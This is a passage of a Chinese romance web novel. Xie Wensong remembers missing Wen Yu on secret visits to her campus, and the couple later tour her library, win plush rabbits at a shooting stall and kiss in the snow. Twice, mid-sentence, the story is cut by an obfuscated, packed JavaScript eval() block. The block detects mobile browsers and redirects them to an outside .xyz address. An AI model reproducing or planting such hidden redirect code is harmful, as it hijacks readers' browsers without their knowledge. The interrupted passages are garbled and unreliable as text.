谢闻颂转过头,补全她的话:“可是每一次,我都没和你说,是不是?” 今天是假期时间,校园里的人并不多,奇怪的是教学楼定点下课的铃声仍旧没停,准时打响。 清脆的声音荡漾在风里,和心里堆积的疑问摇摆成相似的频率,温遇很想说句“是”。 她仿佛距离触摸到过去那些未知的细枝末节越来越近了。 “可能,怕自己藏不住那种很想你的眼神吧。” 谢闻颂伸手择掉她头发上粘的绒毛,很轻弯了下唇:“怕一见到你,什么话也说不出来,像根木头一样杵在那,因为我来这里的原因,也只是你在这儿。” “我也只是想看你一眼吧。” “除了这个念头,我也找不到其他的借口了。” 温遇低头,再次把微微泛起酸的心情往下压,她眼含期待地看向谢闻颂,对那段回忆抽丝剥茧:“那你每次都见到我了吗?” 谢闻颂没想到她这么问,稍微愣了一秒,然后才点头:“见到了。” 温遇突然觉得眼眶有点热,她也不知道为什么情绪上来的这么快,只能拉着谢闻颂直奔食堂,说要请他吃她吃了四年的渔粉。 他们同步踏进阳光里,身上被这光烧得暖融融的,谢闻颂却在想,他其实刚刚骗了温遇。 他并没有那么好的运气,每次来都能见到她。 重要的主角总是会有命运的意外眷顾,像电视剧里展现的那样,分离时候会有意外的相遇,跌入低谷时对方总会及时赶到施以援手,让剧情重新发生转折,才不会让观众觉得乏善可陈。 他想说,现实生活不是这样的。 所有看似的“巧合”,人工努力的成分占了大多数。 很多事,更多的是落空和遗憾。 是他曾经走过的路。 第一次来杭大的时候跑错了校区,温遇并不在那儿,他赶到这个校区时已经过了午饭点,大部分同学要么在上课,要么在宿舍里休息,在校园里晃荡的人并不多。 他作为一个外来者,生涩地想要挤进温遇生活的世界,其实也很难。 谢闻颂也没坚持一定得找到温遇,可这份“没坚持”倒真的没有发生一点意料之外的奇迹。 他没见到温遇。 情理之中,意料之中,只是失落在所难免,不过他也安慰自己,哪有刚来就能见到的,况且他也没和温遇说自己要来这件事,没准脚下不经意走过的路会和她的脚印契合。 抱着这样的想法,谢闻颂只来了一次基本掌握校园里各个地方的位置。 那会儿温遇还挺爱发朋友圈的,从一开始的每张图都有小配文到后来直接原图输出。 谢闻颂发现她一路的变化,再到温遇所有心情都表现在文案上,加上一个他看不太懂的颜文字。 他看不太懂,就复制下来发给林思睿。 他也不知道林思睿为什么能看懂这个是开心,那个是生气。 他怎么就看不出来。 荔枝懊恼,荔枝不说,荔枝只是一味研究。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856240|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 好不容易琢磨明白哪个颜文字对应的是哪种情绪,等到他根据记忆重新翻看温遇的朋友圈时,已经被三天可见挡在外面。 那条包含愤怒的、悲伤的朋友圈已经被她锁起来,谢闻颂也就不知道她那天因为什么事伤心难过。 仿佛她的世界他又进不去了,这种被她隔绝在外的感觉在情理之中,但又实在不是很好受。 谢闻颂纠结了一个晚上,还是没忍住订了第二天早上飞余杭的机票。 那是他在那个学期第二次去杭大,秋意渐浓,谢闻颂从早等到晚,宿舍楼外仍旧没有熟悉的身影走过。头渐渐发昏,谢闻颂忽然想起来自己忘记吃退烧药了。 上飞机的时候就已经有不舒服的前兆,下车去临近的药店买了盒退烧药,现在还揣在兜里,包装都没拆。 从长椅上站起来的时候双腿已经有点发僵的趋势,谢闻颂又等了十分钟,还是没看见人,只好先打车去就近的医院。 温度挺高,他被迫挂水,林思睿打了两个电话问他怎么没接乔若琳的电话,说阿姨打电话都打到他那儿去了。 谢闻颂回复完他又给妈妈回电话,声音不太有劲,被乔若琳敏锐发现,问他是不是不太舒服。 谢闻颂扯谎说自己刚睡醒,就被她戳破。 原来是乔若琳回他那儿,发现他不在家才打的电话。 半年没见着她,谢闻颂也不知道时间为什么会这么赶巧,他突然有点茫然。乔若琳似乎没给他多少缓冲的机会,又说她明早得走,给他包了点饺子冻在冰箱里,回来可以吃。 乔若琳没问谢闻颂为什么要说谎,她知道自己孩子一向有自己的想法和主见,在不伤害自己和他人的情况下,她和谢景舟从不多加过问,可看似开明的一点,实则也会让谢闻颂感觉有些孤独。 给尽他自由,却也因为这份自由画得范围太大,不免在有些时候有悬空的时候。 飞得太自由的鸟儿总是在树上停留得很短暂。 挂掉电话,谢闻颂刷新朋友圈,刷出温遇十五分钟前刚发的一条。 小鱼丸了:团建快乐!@307宿舍全体>3< 九宫格配图,最后一张是宿舍四个人站在宿舍楼灯光下凑在一起的影子。 原来他没走几分钟以后,她就回去了。 原来现实虽然没发生电视剧里巧合的相遇,但可以发生仅仅几分钟相隔而硬生生错过的遗憾。 谢闻颂坐在冰冷的椅子上,医院里灯光如昼,和外界的夜晚完全两个世界。 此刻的他和温遇又何尝不是两个世界的人。 谢闻颂没有吊针的那只手臂横在眼前,盖住越来越烫的眼眶。 时间越走越远,距离现在也已经过去了好几年的时光,这些记忆不同于时间从未远去,情绪被一而再再而三地放淡,最后变成一种很浅的哀愁,悄无声息融进那段暗恋里。 谢闻颂看向对面低头正咬断渔粉的温遇,热气熏红她的脸,他似乎触摸到了那四年在自己这里空白期的她。 意识就这样摇晃到恍惚。 温遇抬头,催促他要快点吃,如果放凉可就没有现在好吃。 她还特地看了眼窗口,阿姨已经准备收摊,扭过头的时候又催了他一遍。 谢闻颂拿起筷子,笑着说好。 筷头刚没进汤里,他忽然想到曾经发生过的一件事。 以前他刷到网上说,爱一个人就要去她以前生活过的地方看一看,好奇读书时候的她,好奇她上过的学校,去一去她最喜欢去吃饭的店,走一走她走过的路。 然后谢闻颂发现,他和他爱的人,从小到大走过的都是一条路,温遇生活过的地方也是他曾生活的地方。 他也无数次因此庆幸很早就参与进她的世界里,也无数次借此汲取能量。 或许短暂的相隔并不会就此延续,就像谢闻颂现在回看过去,当时坐在医院的他也不会想到今天能和她一起重走这段路。 他当时只是想努努力,努力进入她的世界,如果可以,他想成为可以保护公主的人。 他十年如一日的披坚执锐,在心里无数次地做好准备,暗恋心绪参与数不清次数的演练,就是希望某一天能站在公主身边。 所以今天这一趟,是谢闻颂的私心,他想填补过去的这一点空白,想把她的走过的路再走得完整一些,拓上自己的脚印。 谢闻颂的视线落在她扶着碗边的手上。 然后他发现: 鱼鱼,爱不是我的选择题,是我的必答题。 60.荔枝 60/ 路过图书馆的时候,温遇说自己上大学的期末时光基本都是在这度过的。 谢闻颂听了以后一副很感兴趣的模样,说想进去看看,温遇也没拒绝他这个请求。 图书馆用电子校友卡预约也可以进,他们刚一进去,温遇就注意到一楼多了个挺大的电子显示屏,循环滚播校园内的重要新闻。 她简单环视一圈,整体的陈设也和她读书的时候不太一样。 上学来图书馆的时候少,温遇一般周末就回外婆那儿,只有期末和各种ddl挤在一起时需要连轴转才会扎在图书馆。 那会儿她为了早点来占个座位,有时候早饭都来不及买,一直学到饿了才去吃饭。 程以桉知道后也不止一次吐槽她这个浪费生命的行为,温大勇士当时颇为豪气地放狠话:为了期末忍一忍,考试不就是“仰天大笑出门去,归来倚杖自叹息”嘛。 “……” 程以桉想了半天这两句原来是怎么说的。 抽象成这样,她相信温遇不管以后做什么都会成功的。 这会儿不是图书馆人多的时候,温遇突然起了“攀比心”,好奇问谢闻颂:“我们学校和南大比,哪个图书馆更大一点?” 谢闻颂半弯起手臂,指尖从矮书架上支出来的一片吊兰叶子上略作停留,给了个模棱两可的答案:“好像都差不多。” 温遇明显对他这个答案不太相信,咕哝了句谢闻颂没太听清的话:“那你下次带我去南大看看。” “行啊。”某人把这两个字说得吊儿郎当,刻意凑近她耳边,神秘压下声音,“等南大校庆的时候,你作为家属和我一起去。” “……什么家属?”温遇还在想他刚才那句话,下意识地问这么一句。 某人明显对她这个反应不太满意,碍于所在的位置,啧的这声都得一而再再而三地放轻:“你说是什么家属?” “男女朋友?”温遇说完自己也开始思考,提出疑问:“男女朋友算家属吗?” “……”谢闻颂单手撑在空桌边,下颌埋在阴影里,艰难挤出来自己要说的话:“两个字。” 温遇又想了想:“恋人?” “你觉得男女朋友和恋人有区别么?” 噢,好吧。 好像也没什么特别明显的区别。 谢闻颂瞅见温遇在那闷头想,两个字在他嘴边憋半天,憋得耳朵尖都开始发红。他从旁边的镜子上看到自己耳朵颜色的细微变化,单手在那不争气地揉了揉,默默在心里叹一口气。 想让小兔子开窍,他还得走漫漫长路才行。 他又想。 好吧,晚点也行。 反正已经把兔子拐回家了,也不差继续的等待的时间了。 温遇走到最后一排的书架,心不在焉用手指从一本本书的书脊上方划过,偶然翻出来的一本,看了两眼就又给塞回去。 她一直在想刚才谢闻颂没说出口的两个字。 但也一直没想出来答案到底是什么。 从书架一侧走到另一侧,温遇注意到谢闻颂正站在她刚刚翻书的那里,双手捧着一本书在看。 也不知道他知不知道自己说的这句话对她影响有多大。 温遇正想着这事,抬眼看见坐在和她没隔几排戴耳机正在学习的女生,胳膊旁边放着一本红色的小本。 他们学校的学生证就是这个颜色。 温遇眼神落在那一抹微微暗的红色,忽然想到什么,目光迅速落在正在看书的人身上,张了张口想要说话,想起这里是图书馆。 她好像明白谢闻颂的意思了。 心不在焉地往某人旁边走,温遇落在他捧在掌心里的书,封皮已经换了个眼色,明显已经不是刚才那本。 谢闻颂见她走过来,将手中的书重新放回书架上,眼神询问她是不是要离开。 温遇盯着他的眼睛,没说是,也没说不是。 本来想问他是不是和自己刚刚的想法一样,温遇最后还是摇了摇头,没再继续提这件事。 没准谢闻颂并不是这个意思。 是她想多了也可能。 温遇把这事暂时搁置在脑后,试图在书架上找到谢闻颂刚才看的那本书。 高位置需要她垫脚,好在温遇能很快拿下来,转身就要把手里的书册给身后的人看。 “谢闻颂,你刚才是不是在看——” 这个时候的春天多多少少还是得裹件外套在身上的,温遇转身的时候能清楚地感觉到她和谢闻颂衣服摩擦的声音,不过比感觉来得更快的,是他铺天盖地涌入的气息。 像雪天里被冰冻住的松针,有种意外的清爽。温遇单手把书扣在胸前,另一只手扶住书柜边沿。 书柜的这一侧更靠近窗台,下午的阳光在他们身上浅浅铺了一层,温遇感觉自己的脸也不受控制跟着烫。 她扶在边沿的手指下意识动了动,脸为了迎合对面人的目光被迫仰起头,谢闻颂垂眼正看她,这个角度显得他格外柔和,睫毛卷曲的弧度都格外统一,像只刚被顺毛后的小狗。 可是现在,这只小狗好像有别的想法。 温遇还想往后拉开点距离,以现在他们之间的距离,就算身处很低温度的环境,也会被对方的气息烫红双颊。 呼吸仿佛被一根窄窄的丝带轻轻收紧,温遇下意识想转移视线,谢闻颂没太给她这个机会,大半个身体挡在她眼前,隔绝阳光过于烫人的温度。 “你——” 温遇感觉谢闻颂倾下身的动作,双眼瞬间闭上。 一秒,两秒,时间仿佛以固化的方式存于他们之间。 温遇刚要睁开眼,看看眼前这人到底在搞什么名堂,指关节敲在她额头上,发出很清脆的一声响。 某人语调里的恶趣味像长墙上攀附的爬山虎,藏都不直接藏了,就那么支在外面。 “笨蛋。” “拿错书了。” “…………” 谢闻颂说完就倚在对面的书架上,将她的窘迫尽收眼底。 鱼鱼同学紧紧抓住某人遗留在外面,因为捉弄她而摇晃起的尾巴。 可!恶!的!谢!闻!颂! - 杭大这个校区周围有个挺大的公园,从校门口出来时,温遇突然有点手痒痒,带着目的性把谢闻颂领进公园里。 或许是刚才在谢闻颂那儿“输了”一局,温遇多多少少有点记仇。 明明他刚才的那个动作就是想做坏事的前兆。 温遇想起刚才谢闻颂说到一半没继续往下说的话,手指挑逗性在他手心挠了挠:“你刚才是不是想说红本本上的关系?” 见谢闻颂不说话,温遇百分之九十肯定自己说对了,将心比心想一下,如果是她在想这件事,然后心思被戳中,那高低得有点不好意思。 所以她没错过谢闻颂脸上的每个细微表情,自然注意到他又开始有点发红的耳朵尖。 刚才那点被捉弄的不愉快立刻就跑走了,鱼鱼同学重新拿回他们之间的主动权,决定得寸进尺一下。 “还真的是这个意思啊。” 温遇仰起脸,憋起笑又说:“那你叫声好听的看看。” 这次谢闻颂没那么好说话,耳朵红归耳朵红,嘴还是一如既往的硬。 “那不行。” 殊不知他这句话,已经落入鱼鱼同学早就布好的圈套里。 女孩弯起眼凑到他面前,语气不紧不慢:“我也没说非得让你喊那两个字,你叫一声姐姐也行。” “……” 温遇觉得自己一定是被谢闻颂传染的,能把这种恶趣味说得这么明白。 两边的脸颊突然被谢闻颂伸手捏住,往两边拉然后又往中间挤,把她的嘴唇挤成“3”字形。 “姐、姐。” 谢闻颂将这两声放小到只有他们两个才能听见。 温遇双眼倏然睁大。 “其实也不是不能喊——” 他笑。 “我敢喊。” “你敢答应吗?” 喊的这句不是姐姐,那就是…… 谢闻颂盯着她笑,往里吸了一口气,明显就是要把那两个字直接说出来,温遇抬手捂住他的嘴:“你还是别说了。” 她把谢闻颂的手从自己脸上拉下来,别扭地把脸偏到一边,根本顾不得快和某人耳尖一样红的脸:“我不想占你便宜。” “温鱼鱼。” 自从这人和她在一起以后,有时候说出口的声音都带着勾人的调调,蛊得她耳朵发麻。 以前还没这么觉得。 “干嘛。” “其实要是从你牵我手那事开始算,我从二十多年前就开始被你占便宜了。” “有什么不好意思的?” 温遇没想到旧事重提是在这种场合下。 还有。 什么叫从二十多年前就开始占便宜了啊。 “……你别把事说得那么恐怖行不?” “恐怖吗?”谢闻颂笑道:“还行吧。” 温遇没想到挖坑挖到最后,吃亏的还是自己,郁闷地想自己还是没有谢闻颂够无赖。 不然怎么会次次都输给他。 两个人没走多长时间,温遇就看见广场旁边亮起灯泡的小摊,谢闻颂跟着她的眼神望过去,竟然是打气球的摊子,“你说的手痒就是这个?” “嗯哼。”说起打气球这件事,温遇说话都有底气了起来:“以前心情不好的时候就会来这走走,来这打过几次,技术好到差点被老板拉黑,后来学习忙一点就没怎么来过了。” “不是我吹。”温遇伸出大拇指和食指,做出一个打枪发射的手势,“我当时还靠这个成了这一块的孩子王呢!” “这么厉害啊。”谢闻颂看她眼底冒出的细碎亮光,因为说起令温遇自己骄傲的事,光束逐渐铺满眼底,掀起一道又一道的流星群。 “姐姐……” 他们两人站在打气球摊子的外排,有小孩也许是听见刚才温遇说的话,凑过来喊了她一声。 小女孩有些怯生生地松开拉着温遇的手,刚要说什么,她妈妈从身后跑过来,书包的两条背带还挂在手上。 女人跑得急,气喘吁吁道:“你跑哪儿去了你,给我吓一跳。” 女孩妈妈注意到站在旁边的温遇,伸手带了下有些凌乱的头发:“她刚才是不是说什么了?不好意思啊,小孩子不太懂事。” “没关系。”温遇蹲下身看小女孩:“你是想让我帮你拿到一个玩具吗?” 她指了指放在气球板旁边小桌子上,整齐码放的一堆毛绒玩具。 小女孩点点头又摇头,最后把目光给向妈妈,两只小手无措地叠在胸前手指绞在一起,“可以吗?” 是在问她妈妈,也是在问温遇。 明显是特别乖的孩子,温遇一向不太能拒绝这么乖的小朋友,所以她这边自然是没问题的,就看女孩的妈妈同不同意。 温遇先表明自己没关系,女孩妈妈看了眼自家孩子亮晶晶的眼神,叹了口气:“麻烦你了,姑娘。” 小女孩的手臂顷刻间环住妈妈,笑声闷在衣服里也难掩兴奋,她松开妈妈又搂住了温遇的脖子。 温遇指了指桌子上的玩偶:“告诉姐姐,想要哪个?” 小女孩纠结地咬手指:“最边上的那只小兔子就行。” “没问题。” 谢闻颂就在旁边看着温遇蹲下身漾起来的一圈裙摆,明明夏天还没来,他却仿佛已经看到了夏天。 公主好像在哪儿都会发光。 哪怕这块灯光忽明忽暗,颜色也被过滤到只剩一层昏黄,也不影响她自己散发的照明粒子。 打气球一次二十块,二十个气球打中十五个以上就可以赢得一个玩偶,如果二十发全中可以把最大的娃娃抱回家。 玩具枪多多少少都是被改装过的,温遇上手掂了掂,唇角掀起一抹很浅的弧度。 她转头,略带深意地看了眼谢闻颂,稍微抬高手上的玩具枪,示意他好好看好好学,自己要发挥了。 谢闻颂双手环在胸前,将公主上场前的骄傲看了个完全,目光从她举枪的姿势掠过,就知道温遇所言非虚。 她开枪没什么犹豫,甚至整个人都没什么紧张的状态,一发又一发地稳定输出,姿势都没变,精准率高到周围的目光都渐渐向她聚拢。 温遇眼神都没变化半分,指关节扣动扳机,动作相当干脆利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14869822|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落。 前十九枪全部打中,温遇最后一枪只听见声音但没有子弹,她一开始还以为是自己打偏了,余光瞥见老板搓在一起的手,明白了什么。 商家的惯有心机。 不过她并不是冲着那只最大的玩偶去的,倒也没纠结这点。 拿到小兔子,温遇直接放到小女孩手里,刚才在这边玩的孩子都被她吸引,此刻才发现她是帮别人赢的,便凑成一堆绕在她身边,问能不能也帮他们打一下。 老板反应过来,刚才憋红的脸到现在还没消下去,他立刻拔高声音,强调不能代打这件事,而且每个人今天最多只能打一次。 孩子们因为这番话散了大半,拿到兔子的小女孩搂着玩偶半天,见人群散开,跑过来又抱了温遇一下。 女孩妈妈说要把钱给她,温遇摇摇头说了句不用。 谢闻颂双手装在兜里,从刚刚站的位置走过来,风把领口的布料揉皱了些,晚上光线暗,看上去多了几分颓靡感。 “其实这个我也会点。” “本来刚才想在你面前帅一把的,完全不给机会啊。”谢闻颂刻意朝她倾身,弯弯唇角:“给你男朋友一点发挥空间呗。” 温遇一脸无辜,表示这就是自己的基操:“那一会儿你去,我看看你发挥得怎么样?” “遵命,公主。” 谢闻颂说完还真去排队了,于是刚才某人站的位置成功被她继承,温遇饶有兴致看他所说的发挥空间到底是什么样。 一般打完二十发没够十五枪的就算失败,谢闻颂前面都是小孩。 玩具枪改装过,加上前面精准度不高,打得快结束得也快,等到他摸上枪的时候,一直倚在那儿的老板下意识直起身子。 谢闻颂也在手里掂了掂那把玩具枪,温遇不知道他发没发现里面的猫腻,只见他掂过后抬起枪,没什么纠结地打了三发,都没中。 老板直起的腰重新弯下去,换个更舒服的姿势倚在座位上。 旁边有看热闹的人已经有人开始发出嘘声,可温遇倒不这么以为。 半场开香槟不可取,半场关香槟也未必就是正解。 第四枪开始,谢闻颂很快找到感觉,一连十发都是百分百中。 和温遇意料中的差不多,以她对谢闻颂的了解,能出现现在的局面丝毫不意外。 还剩下七发,容错有两枪。 如果最后一枪仍旧没有子弹,那就只有一枪的容错。 这个玩具枪其实不太好打,温遇刚才就发现了,比之前她来的时候似乎又有改装。 她今天能中十九枪,肯定有运气成分在里面。 心里虽然想着事,温遇的目光还是全落在谢闻颂身上,刚才她自己打的时候没紧张,现在手心竟然有点出汗。 谢闻颂稍微调整了下节奏,每一枪隔了七秒左右的空档,他选择稳扎稳打,最后打了二十中十五。 老板也没想到今天这钱这么不好赚,探究的目光落在正挑选玩偶的谢闻颂身上,发现他和刚才那个女生都拿了个最便宜的兔子,心里默默松口气。 “发挥确实很厉害。”温遇不吝惜夸奖,竖了个大拇指给他,“有点儿令公主刮目相看了。” 温遇视线下落到兔子身上,也没想到他也会选同一个,单手撑住膝盖,拎起一只兔耳朵看他:“你喜欢这个?” “还行吧。” 谢闻颂瞅见凑到自己面前来的小脑袋,温遇眼神柔软地看他手中的兔子,他突然就想起刚才书架前女孩如蝴蝶触须一掀一掀的睫毛,因为紧张刻意绷紧的呼吸,因为在意的人就在眼前,压抑不住的肾上腺素飙升,脸颊从粉深到红,唇线也因为紧张抿成一条线…… 她好像不知道自己很可爱。 难以被遏制的冲动在身体内聚集,谢闻颂偏头猛地吸了口冷气,试图冲掉那股不太安全的燥热。 他不是喜欢兔子。 是因为喜欢的人是兔子。 玩偶兔被温遇抱走,谢闻颂已经在附近打好车,一路上摇摇晃晃,温遇又有点困,抱着兔子靠在谢闻颂怀里,时不时咂咂嘴。 这肯定是梦见吃什么好吃的了。 馋小兔。 她晚上还没吃东西,谢闻颂寻思到家给她做点什么。 不过—— 他得先吃饱。 温遇快到家的时候就醒了,就是思绪还跟着慢半拍,差点把玩偶兔子落在车上。她双手护在胸前,直愣愣地看着车从眼前开走。 有什么微凉的东西落在面颊,温遇仰头,在楼门口的灯光下看见有细小的白色在飘落。 她睁大双眼,伸手去接。 真的是雪。 这个时间,余杭竟然会下雪。 雪粒很小,小到除了点点清凉融进空气里,钻进鼻腔有轻微的凉感,几乎存在感不明。温遇刚才的迷糊才消散一半,就听见谢闻颂喊她的名字。 温遇这才想起来旁边还有个人,雀跃的心情想要带着声音一起告诉谢闻颂。 “谢闻颂,下雪——” 转头的那瞬间,某人早有预料地扣住她的下巴,温遇仰起头,刚刚才被冷气冲凉的唇重新被人熨热,耳侧有雪花很轻扫过,像是附和此刻浪漫的氛围提上的落款。 温遇单手把兔子圈在怀里,不至于让它掉到地上,另一手揽在谢闻颂颈后,把他带着往自己这边压了压。 唇瓣相贴的位置因为某人的笑声挤出一条缝,他就在他们呼吸之间边喘边笑:“公主这么霸道?” 雪落得很慢,温遇的心跳又开始错拍跳动,因为刚醒,她声音努力装也装不了多狠,听上去甚至还有种狐假虎威的奶凶:“……不亲拉倒。” 虽然这么说,再次垫脚贴上去的也是她。 唇舌交缠的声音太过明显,早就把那存在感不高的雪落声挤到犄角旮旯里。对方挺直接的侵入让温遇颤动起睫毛,她很小地呜咽一声,抓他肩膀的手无意识用力。 在这方面她主动的结果,一般最后也是被谢闻颂轻松夺走。 哪里能想到平时那么拽那么硬的一张嘴,亲起来竟然是甜的。 鱼鱼公主表示不理解。 不过如果和他在一起的是自己的话。 那就很合理了。 61.荔枝 61/ 温遇回南川以后,明显感觉气温回升了很多,那天晚上在余杭赶上的那场难得的春雪,仿佛是梦境里才会出现的故事。 温遇得承认,雪下的那个吻,她到现在还有点回味的意思。 以至于回南川继续和谢闻颂待在一起的日子,看见他就会想起那天的事。 浪漫的回忆多多少少会带点特殊的颜色驻扎在脑海中。 天时地利人和发生的故事,像童话册本刊载的名场面。 温遇不是个木头人,自然会想。 那天结束的时候,她站在被雪花薄薄铺了一层的地面上,从脚踝自双腿向上都有点发麻。氧气的充盈和缺失让她一瞬飞升上天空,一会又从云端下坠。 某人“吃饱”以后,也是相当没眼力见地往她身上倒,像只没有骨头的大熊。 他抱起来那是相当费劲,温遇一边嫌弃,一边还是脸红着选择接受他这个意味深长的拥抱。 小狗般蓬松凌乱的短发就那么堆在温遇的颈间,伴随着他撒娇似的来回蹭,仿佛蹭不够一样。 温遇就那么将他红透的耳朵尽收眼底。 噢。 其实他也会害羞。 果然全身上下最硬的只有嘴。 明明知道自己相比于他也定不会好到哪里去,可温遇还是不受控制地弯起唇角。 她故作嫌弃道:“谢闻颂,你太重了。” 温遇感觉自己刚说完这句话,身上一下子就轻了很多,某人郁闷的声音从她颈窝钻出来,像手中猛地被人塞了一把狗尾草,细密的绒毛挠在手心,泛起涟漪般的痒。 他语气带点急需要人哄的委屈感:“那我回头去减减肥。” “你别不要我。” “……” 温遇想他是不是喝假酒了。 不过这人一整天都和她待在一起,哪有什么喝酒的机会? 不是喝假酒,那就是故意撒娇。 黏人得很。 可如果不是撒娇,她也不会那么快心软。 “不用减肥,你不胖。” 温遇想起他刚才说的话,语气稍微加重了些反问:“还有,谁说不要你了?” 谢闻颂听后得寸进尺,手指拨开她领口的衣服,用柔软的双唇触碰她颈侧细嫩的皮肤:“那你可不可以,只要我一个。” 温遇有点纳闷。 这种话是能从谢闻颂嘴里说出来的吗? 他是不是叫人魂穿了。 温遇没说话,他就窝在那吸吮她脖颈处的那一块软肉,全身上下只有这个位置热得可怕,周遭空气与其撞在一起堪比冰火两重天。 没人比他更会做坏事。 她紧紧抓住谢闻颂后背的衣料,余出来的堆积在指缝折成小山丘,温遇被逼得没办法,只能顺着他的意思来。 好家伙,明明没喝酒,她好像在照顾一个喝醉酒耍无赖的酒鬼。 好难哄。 她再也不想哄了。 公主好累。 温遇透过他的肩膀看月亮。 经雪花洗刷过,仿佛更明亮。 公主虔诚地望向月亮,仿佛在问它。 到底谁才是公主? 这个问题不止一次两次出现,温遇郁闷想着,心中的恶魔小人最终占据着中央的位置哈哈大笑:“当然你是公主啦。” “那个是假公主,真醉鬼。” 噢。 好吧。 温遇想。 那她还是公主。 公主还是得哄。 - 时间步入四月,温遇每天走在上班路上,都能感觉到被春天包揽的身临其境,赶上杂志社内部有几项特别重要的商业合作需要接洽,温遇仿佛又回到了年底那段最忙碌的时候。 好在谢闻颂知道她这段时间的紧张,包括但不限于盯拍摄、检查内页设计、同步印厂进度…… 各种繁杂的事堆在一起,有时候温遇一天要连着跑好几个地方。 好几天晚上到家的时候已经很晚,谢闻颂等着她回家,把已经温掉的饭重新热一热。 整个屋子里只开了餐厅一盏吊灯,颜色很浅,仿佛将外界的星空割下来一小块铺在头顶。 谢闻颂开玩笑问她考没考虑过跳槽,温遇回答得没什么犹豫:“没考虑。” 温遇吃饭的时候模样特文静,谢闻颂愣是从她身上看不出来一点跑了一天的疲惫感。 “我还挺喜欢自己现在状态的,工作环境也不错。” 温遇用筷头夹起米饭放进嘴里,抬眼看他:“喜欢有时候还是很有能量的。” “这点。”温遇很轻笑了下,“你应该比我感触更深。” 彼此默契又熟悉的两个人说话总是不用太费劲,谢闻颂很轻松get到她想说的意思。 “你是说我喜欢你这件事?” 温遇抬碗的手略作停顿,没说是,也没说不是。 温遇一般这种看似模棱两可的态度就是说中,就算有偏差,也会精准控制在百分之三十以内。 “确实很有能量。” 谢闻颂单手撑起下巴,卖萌似的歪头瞅她,“喜欢这种情绪,看似让自己丧失一部分的主动权,不过也恰恰因为这份独特,能从对方不知不觉的某个细微动作汲取能量。” “不是有句话说吗?” “暗恋其实本身并不痛苦,痛苦的是想要得到。” “想得到是人之常情。”温遇回想了一下自己的感情经历:“任何一种感情,都不会希望是单向的一条线,你看暗恋不容易得到回应,有一部分原因是对方不知道。抛开这点,也可能是对方并不希望继续发展这段关系,把自己的箭头完完整整输送过来。” “其实友情也一样。”温遇把碗里最后一点米饭吃完:“遇见并不能递过来箭头的人,就像得不到反馈的暗恋,其实本质也都是会痛苦。因为你心里缺失的那一块东西无法完整修补,就是会痛。” “所以,有时候减轻痛苦需要从最根本的角度出发,喜欢抑或是想要和人产生关系这件事都并不需要感到羞耻,想要得到圆满的回答不是我们的错。” 说到这,温遇沉默一瞬,像是在组织接下来要说的语言:“在做出选择的那一刻,就已经很勇敢了,敢于直面自己的内心,投以最真诚的情感,本身就让人心生敬佩。” “结果不受我们掌控,所以我们也在勇敢的同时有所保留,这样即使某一天幸运没有太眷顾我们,也不至于满身伤到丢盔卸甲。” “在遇到不太好的结果时,不要因为当时好不容易得到的勇敢而反复责问自己。” “要告诉自己,我这么好的人,有一天一定会遇见和自己一样好的人,所有的坏事,都在为我以后的好运铺路。” 温遇把筷子搭在碗边,心情很好地弯了弯唇角:“虽然我知道我自己也很优秀,值得爱与被爱,不过我也得勇敢一次说出口——” “谢谢你的勇敢,谢闻颂。” 温遇学他刚刚歪头看自己的姿势,特别纯粹地眨两下眼睛。 “说出口比去实现梦想更需要勇气。” “你是个很勇敢的人。” “……” 谢闻颂没想到自己能从温遇那得到这么高的评价,有些因为错愕滋长的情绪无处安放,然后被汩汩涌出来的暖流彻底包裹,然后一点点在心头化开。 他尝了尝。 是甜味的。 谢闻颂偏头笑了声,感受着不太受自己控制的心跳节律:“怎么今天突然这么告白?我还有点不适应。” 他本以为公主会反驳“这哪里是告白,你又胡说”这类话。 结果温遇只是站起身默默收拾好碗筷,颇骄傲地看了他一眼。 “嗯,你还挺聪明,我说得这么隐晦,都能听出来是告白。” “温遇就是喜欢谢闻颂啊。” 温遇端起碗筷走到洗碗池,放下手里的东西又回头看他,对刚才说的那句话脸不红心不跳:“你现在可不要小瞧一个勇敢的人蓄积起的勇气。” “说出来可能都会吓死你。” 温遇生怕他不信似的,涂满洗洁精泡沫的手在两侧脸颊旁边做了个“饿虎扑食”的手势。 谢闻颂看见她狐假虎威装凶撂下的这一句,只想对她做坏事。 他倚在门边双手环胸,唇边那抹笑容始终未曾降落。 其实比起这个想法更让自己感慨的是,公主内核的强大。 纵使没有他,喜欢公主的人也永远不会少,因为她所披在身上的光芒,足以令其他人倾目相视。 有些人的存在无需他人给予什么肯定,那些闪闪发光或者是隐藏在厚重羽翼下早有先兆的翩跹,都是自身无法被复刻的证明。 现在他也想说。 没有人会不喜欢公主。 谢闻颂走上前,帮温遇把手上的泡沫冲掉:“我来洗就行。” 所以—— 一直是他离不开公主。 - 周五那天,温遇被安排去印厂盯进度,等到结束的时候已经晚上六点,印厂地点偏僻,她还花了一段时间打车。 远边的天空已经呈现暗色调,温遇站在荒凉的小道上,注意到手机终于显示有人接单,只不过距离到这还得二十分钟。 等待的时间她顺手拍了张天空的照片发给谢闻颂,发过去以后,温遇下意识划到朋友圈那栏,还没点进去就看到熟悉的头像。 心脏重重一跳,她点开,彩色圆环转了几秒,显示出徐翩禾刚刚发的朋友圈。 三个人的背影在海边,在浅黄色的沙滩上晕染成很柔和的曲线。 这三个人不用说都知道是谁。 